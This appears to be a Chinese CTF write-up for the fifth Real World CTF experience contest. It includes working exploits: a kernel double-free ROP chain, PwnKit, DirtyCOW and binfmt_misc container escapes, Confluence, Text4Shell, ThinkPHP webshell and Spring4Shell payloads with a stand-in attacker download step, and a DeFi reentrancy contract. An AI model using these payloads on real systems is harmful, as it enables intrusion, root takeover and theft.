1月7日-8日,24小时
第五届 Real World CTF 体验赛落下帷幕
来自企业、高校和长亭合作伙伴的239支战队
1000+人集结体验赛
192次签到题解出,
15次一血,
有效flag提交851次
最终,由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名,而去年的冠军团队,来自众多高校联合(南京大学,南京邮电、东南大学、中国矿业大学等)的SU战队以2187的总分获得第二名,由来自西安电子科技大学的L-team战队以总分2166名列第三名。
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/timerfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
// user_key_payload
#define size_user_key_payload (24)
// (gdb) ptype /o struct user_key_payload
// /* offset | size */ type = struct user_key_payload {
// /* 0 | 16 */ struct callback_head {
// /* 0 | 8 */ struct callback_head *next;
// /* 8 | 8 */ void (*func)(struct callback_head *);
//
// /* total size (bytes): 16 */
// } rcu;
// /* 16 | 2 */ unsigned short datalen;
// /* XXX 6-byte hole */
// /* 24 | 0 */ char data[];
//
// /* total size (bytes): 24 */
// }
int key_alloc(char *description, char *payload, int payload_len) {
return syscall(
__NR_add_key,
"user",
description,
payload,
payload_len,
KEY_SPEC_PROCESS_KEYRING
);
}
void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) {
char *tmp_desc = (char *)malloc(description_len + 100);
memset(tmp_desc, 0, description_len + 100);
memcpy(tmp_desc, description, description_len);
for(int i = 0; i < spray_count; i++) {
snprintf(tmp_desc + description_len, 100, "_%d", i);
keys[i] = key_alloc(tmp_desc, payload, payload_len);
if(keys[i] == -1) {
perror("add_key");
printf("failed index: %dn", i);
// break;
exit(-1);
}
}
free(tmp_desc);
}
int key_revoke(int key_id) {
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}
int key_free(int key_id) {
return syscall(
__NR_keyctl,
KEYCTL_UNLINK,
key_id,
KEY_SPEC_PROCESS_KEYRING
);
}
int key_read(int key_id, char *retbuf, int retbuf_len) {
return syscall(
__NR_keyctl,
KEYCTL_READ,
key_id,
retbuf,
retbuf_len
);
}
// user_key_payload
// utils
void breakpoint() {
printf("press enter to continue...n");
getchar();
}
#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
void hexdump(void *mem, unsigned int len) {
putchar('n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}
/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}
/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('n');
}
}
putchar('n');
}
// utils
// here we start
struct add_param {
int idx;
int size;
char *cont;
};
int g_fd;
int seq_fd;
unsigned long long g_vmlinux = 0;
unsigned long long g_modprobe_path = 0;
unsigned long long g_do_task_dead = 0;
unsigned long long g_heap = 0;
unsigned long long pop_rax_ret = 0;
unsigned long long pop_rcx_ret = 0;
unsigned long long pop_rdi_ret = 0;
unsigned long long mov_ptr_rax_rdi_ret = 0;
unsigned long long ret = 0;
void setup() {
g_fd = open("/dev/rwctf", O_RDWR);
printf("g_fd = %dn", g_fd);
system("echo '#!/bin/shnchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
if(fork()) {
sleep(3);
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}
void add(int idx, int size, char* cont) {
struct add_param arg = {
.idx = idx,
.size = size,
.cont = cont,
};
ioctl(g_fd, 0xdeadbeef, &arg); // no error check
}
void delete(int idx) {
ioctl(g_fd, 0xc0decafe, &idx); // no error check
}
void leak() {
int OBJ_SIZE = 0x100;
char *cont = malloc(OBJ_SIZE);
memset(cont, 'x', OBJ_SIZE);
add(0, OBJ_SIZE, cont);
delete(0); // first free
int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload;
int SPARY_USER_KEY_CNT = 50;
int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int));
char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE);
memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE);
key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));
delete(0); // double free
*(unsigned long long *)&cont[0x0] = 0;
*(unsigned long long *)&cont[0x8] = 0;
*(unsigned long long *)&cont[0x10] = 0x2000; // user_key size
for(int i = 0; i < 100; i++) {
add(1, OBJ_SIZE, cont);
}
char *recv_payload = malloc(0x2000);
int anchor = 0;
for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {
memset(recv_payload, 0, 0x2000);
int retval = key_read(keys[i], recv_payload, 0x2000);
// printf("retval = %dn", retval);
if(retval > SPRAY_USER_KEY_SIZE) {
printf("find anchor %dn", anchor);
printf("we leaked something...n");
anchor = i;
break;
}
}
if(anchor == 0) {
err(-1, "bad luck, try again!n");
}
for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {
if(i != anchor) {
key_revoke(keys[i]);
}
}
memset(recv_payload, 0, 0x2000);
int retval = key_read(keys[anchor], recv_payload, 0x2000);
// printf("retval = %dn", retval);
if(retval > SPRAY_USER_KEY_SIZE) {
// hexdump(recv_payload, 0x200);
unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8];
unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0];
unsigned long long needle = *(unsigned long long *)&recv_payload[0x100];
if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) {
printf("leaked heap @ 0x%llxn", heap);
printf("leaked user_free_payload_rcu @ 0x%llxn", _user_free_payload_rcu);
g_vmlinux = _user_free_payload_rcu - 0x339d8210;
printf("vmlinux @ 0x%llxn", g_vmlinux);
g_modprobe_path = g_vmlinux + 0x34e510a0;
// printf("modprobe_path @ 0x%llxn", g_modprobe_path);
g_do_task_dead = g_vmlinux + 0x336a3190;
pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret
pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret
pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret
mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret
ret = g_vmlinux + 0x33600341; // ret
}
}
sleep(1); // free user_key
for(int i = 0; i < 100; i++) {
close(keys[i]);
}
// // place gadgets
// memset(cont, '!', OBJ_SIZE);
// for(int i = 0; i < 100; i++) {
// add(1, OBJ_SIZE, cont);
// }
}
void hijack() {
int OBJ_SIZE = 0x20; //
char *cont = malloc(OBJ_SIZE);
memset(cont, 'z', OBJ_SIZE);
add(0, OBJ_SIZE, cont);
delete(0); // first free
seq_fd = open("/proc/self/stat", O_RDONLY);
delete(0); // second free
unsigned char fake_seq_operations[OBJ_SIZE];
memset(fake_seq_operations, '0', OBJ_SIZE);
// *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111;
*(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160
*(unsigned long long *)&fake_seq_operations[0x08] = ret;
*(unsigned long long *)&fake_seq_operations[0x10] = ret;
*(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;
for(int i = 0; i < 1; i++) {
add(1, OBJ_SIZE, fake_seq_operations);
}
__asm__(
"mov r15, pop_rax_ret;"
"mov r14, g_modprobe_path;"
"mov r13, pop_rdi_ret;"
"mov r12, 0x0000782f706d742f;" // /tmp/xx00
"mov rbp, mov_ptr_rax_rdi_ret;"
"mov rbx, g_do_task_dead;"
"mov r11, 0x77777777;"
"mov r10, 0x88888888;"
"mov r9, 0x99999999;"
"mov r8, 0xaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"xor rax, rax;"
"syscall"
);
// read(seq_fd, fake_seq_operations, 1);
}
int main() {
setup();
leak();
// breakpoint();
hijack();
// breakpoint();
return 0;
}
连接端口后,题目提示默认用户名为 user, 空口令登陆。
发现需要提权才能获取 flag ,从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权, 故尝试使用 CVE-2021-4034 进行提权。
exploit 参考:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>n"
"#include <stdlib.h>n"
"#include <unistd.h>nn"
"void gconv() {}n"
"void gconv_init() {n"
" setuid(0); setgid(0);n"
" seteuid(0); setegid(0);n"
" system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"
" exit(0);n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
这里还有一个小故事, 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况,因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考:
Handling argc==0 in the kernel [LWN.net] (https://lwn.net/Articles/882799/)
通过 ssh 获取题目 shell 后,可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc。
通过了解资料知道 Linux 内核有一个名为Miscellaneous Binary Forma(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件
name:type:offset:magic:mask:interpreter:flags
-
name:规则名 -
type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的 Magic Bytes来识别
-
offset:type字段设置成 M 之后有效,表示查找 Magic Bytes的偏移,默认为0
-
magic:表示要匹配的 Magic Bytes,type 字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示 Magic Bytes,其中不可见字符可以通过 xff 的方式来输出
-
mask:type字段设置成 M 之后有效,长度与 Magic Bytes 的长度一致。如果某一位为1,表 magic 对应的位匹配,为0则忽略。默认为全部匹配
-
interpreter:启动文件的程序,需要是绝对路径
-
flags: 可选字段,控制 interpreter 打开文件的行为,共支持 POCF 四种flag
完整利用过程:
1、首先注册一个自己的 binfmt
echo ":test:M::x23x21x2fx62x69x6ex2fx73x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register
例如上一条语句,即为注册一个名 test, magic 为 #!/bin/sh , interpreter位于 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 的 binfmt ,其中 $overlay2 我们可以在 docker 中使用 mount 命令来获取
2、往 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 写入我们要执行的命令
echo '#!/bin/bash' > /tmp/exploit
echo "docker cp /root/flag $container:/tmp/" >> /tmp/exploit
chmod 777 /tmp/exploit
3、最后再使用 ssh 登陆一次即可获取 flag
首先查看内核版本 ,可以发现是一个比较旧的内核版本
再结合题目描述和名字,可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。
想要使用 DirtyCOW 进行容器逃逸,需要使用 DirtyCOW-vDSO 的利用方式,也就是通过 DirtyCOW 覆盖 vDSO 数据来实现对容器的逃逸。但是现有最著名的 vDSO 逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题:
-
该利用使用 ptrace 方式来实现对 vDSO 内存的修改触发 COW,但是新版本 docker 默认禁止 ptrace。
-
该利用对 vDSO 的 patch 选择的位置在 ubuntu 的内核里触发不了,需要换一个 patch 点。
本着不能只有自己被坑的原则,出了这题。
需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考
https://github.com/zh-explorer/dirtycow.git。
利用流程如下:
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftools
git clone https://github.com/zh-explorer/dirtycow.git
cd dirtycow
mkdir build
cd build
cmake ..
make
./dirtycow {IP} 31337
题目中运行了一个 D-Bus 服务, 通过 busctl –system –list 命令可以列出当前注册的 system D-Bus 服务, 其中有一个叫 ezbus 的尤其可疑。
通过 busctl introspect org.dbus.rwctf /org/dbus/rwctf 命令可以列出其实现的方法名, 例如可以看到其实现了一个名为 SayBoss 的方法,接受字符串参数。
打开 IDA 进行逆向, 找到 SayBoss 方法
发现 count 变量计算了调用该函数的次数,如果大于 0xA ,即可执行命令。
因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令, 然后使用下面这句命令调用超过 10 次即可。
busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s "/tmp/exp.sh"
根据页面上显示的版本 7.13.6,搜索 Confluence 历史漏洞,可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的,执行 id 命令的利用验证poc:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: example.com:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
url 路径部分就是 ognl 表达式 url 编码后的内容,所以执行的表达式其实就是:
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("wget script.attacker.com").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("chmod +x index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("bash index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
这题考查的是 mysql 连接到恶意服务器时,恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手,也可以根据题目提示“Evil MySQL Server”进行 Google 查询,能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解,这里简单说下怎么做。
可以直接借助工具 MySQL Fake Server:https://github.com/fnmsd/MySQL_Fake_Server
用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server,比如地址是 1.1.1.1,端口3306,然后打开题目,在表单里填上对应的服务器地址,用户名处填 fileread_/flag,提交。mysql fake server 就会收到请求,并读到 /flag 文件内容。
由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤,但没有过滤base64decoder,因此我们可以使用base64decoder以及递归特性进行漏洞利用。
POC
${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}
这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下
* ThinkPHP v6.0.1 <= v6.0. x <= v6.0.13
* ThinkPHP v5.1.x
* ThinkPHP v5.0.x
具体的漏洞分析可以参考:
http://tttang.com/archive/1865/
所以进入题目便可以看到,当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内,所以我们便可以进行任意文件包含。结合题目描述里面给出的信息,整个 ThinkPHP 是使用Docker进行部署的,所以我们可以使用: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 这个技巧, 利用 PearCMD 来最终实现RCE。
首先我们发送第一个包,用来创建一个 Webshell 在 /tmp/1.php:
GET /?+config-create+/&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a]);?>+/tmp/1.php HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE,获取 Flag。
-
使用 Mongodb 注入拿到用户项目的 Token ,这一步需要爆破。
-
在默认情况下利用这个使用 aes192 加密 token,这样我们可以调用项目的任意功能,。
-
然后通过调用项目的 pre-script 功能,上传 vm2 的逃逸脚本实现 RCE。
具体的漏洞分析文章可以参考:
https://www.anquanke.com/post/id/283779
当然也可以找到一键利用的脚本:
https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py
使用这个脚本我们只需要执行,即可拿到 Flag
py -3 .poc.py --debug one4all -u http://ip:9090/ -c "/readflag"
该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。
解题思路一:
可以发现 .git 泄漏配置文件,导致 web 路径泄漏。
可使用工具:
https://github.com/gakki429/Git_Extract.git
$ python git_extract.py http://47.98.216.107:31584/.git/
查看 web 路径:
$ cat 47.98.216.107_31584/server.xml|grep appBase
<Host name="XXXX" appBase="chaitin"
python exploit.py --url http://47.98.216.107:31584/ --dir chaitin/ROOT
payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/
使用 GNU Radio 的 OOT 模块 gr-lora,调整 SF 扩频因子, 在8时可以解出 flag。
选关:按下 START 后,在游戏画面变黑之前,同时按下 ←+↑+A+START,就可以进入选关菜单。
作弊:
1.自带的经典作弊码,在标题画面BGM出现后按 上上下下左右左右BA 就会有30条命。
2.模拟器打开 CPU view,进入关卡,其中 0x32 位置为 1P 的生命数,0xB0 位置为1P无敌状态的剩余时间,可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。
本题考点为 Defi 项目的核心逻辑中,闪电贷功能易出现的重入漏洞。
解题思路1:
在调用 swap 合约闪电贷之前,调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制,可直接调用。
Burn 掉 Pair 的部分 balance,然后调用 sync 函数调平。调平后的pair可swap出巨量Token。
解题思路2:
在调用 swap 合约的闪电贷功能时,重入未加 lock 限制的 sync 函数。在计算 K 值前,将 reserve 设为对自己有利的状态。
pragma solidity ^0.8.0;
import "./Happy.sol";
contract Exploit {
event tokenA_tokenB(address, address);
IHappyFactory factory =
IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36));
IHappyPair public pair;
IHappyERC20 public tokenA;
IHappyERC20 public tokenB;
address public gamer;
constructor(address tokenA_address, address tokenB_address) {
gamer = msg.sender;
tokenA = IHappyERC20(tokenA_address);
tokenB = IHappyERC20(tokenB_address);
pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address));
}
function attack(uint256 amount0, uint256 amount1) public {
pair.swap(amount0, amount1, address(this), "0x");
tokenB.transfer(gamer, 1 ether);
}
fallback() external {
pair.sync();
tokenA.transferFrom(gamer, address(pair), 1 ether);
}
}
题目的主要考察椭圆曲线同构。参考链接:
https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp
根据题目我们可以知道椭圆曲线为y² = x*(x+1)²
然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。
from Crypto.Util.number import *
from Crypto.Cipher import AES
p = 193387944202565886198256260591909756041
P.<x> = GF(p)[]
f = x^3 + 2*x^2 + x
P = (4, 10)
Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)
f_ = f.subs(x=x-1)
print f_.factor()
P_ = (P[0] +1, P[1])
Q_ = (Q[0] +1, Q[1])
t = GF(p)(p-1).square_root()
u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p
v = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p
print(v.log(u))
k = v.log(u)
aes = AES.new(long_to_bytes(k).ljust(16, ' '), AES.MODE_CBC, ' '*16)
flag = "b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0".decode("hex")
print(len(flag))
plaintext = aes.decrypt(flag)
print(plaintext)
安装 apk 运行发现是个贪吃蛇游戏,随着控制蛇吃到的食物越多,蛇的速度越快。所以如果你足够强可以坚持到最后,把 flag 吃出来。
分析 apk,由于贪吃蛇和食物本身所用资源都是图片,于是在 drawable 目录中可找到这些图片文件,并且可以发现除普通食物图片外,还有 b0,b1 这些字母图片,容易猜测到这些便是 flag 的组成部分。
在 onDraw 方法中注意到如下部分
a和b方法分别控制屏幕绘制食物或是 flag,由 this.c 控制
注意到拼装b图片时用到了 this.f 数组,交叉引用后定位到
function hook(){
Java.perform(function(){
var SecurityParams = Java.use("b.a.a.a");
SecurityParams.a.implementation = function(str){
var ret = this.a(str);
console.log(ret);
return ret;
}
});
}
function main() {
hook()
}
setImmediate(main)
原文始发于微信公众号(胖哈勃):第五届 Real World CTF 体验赛 Writeup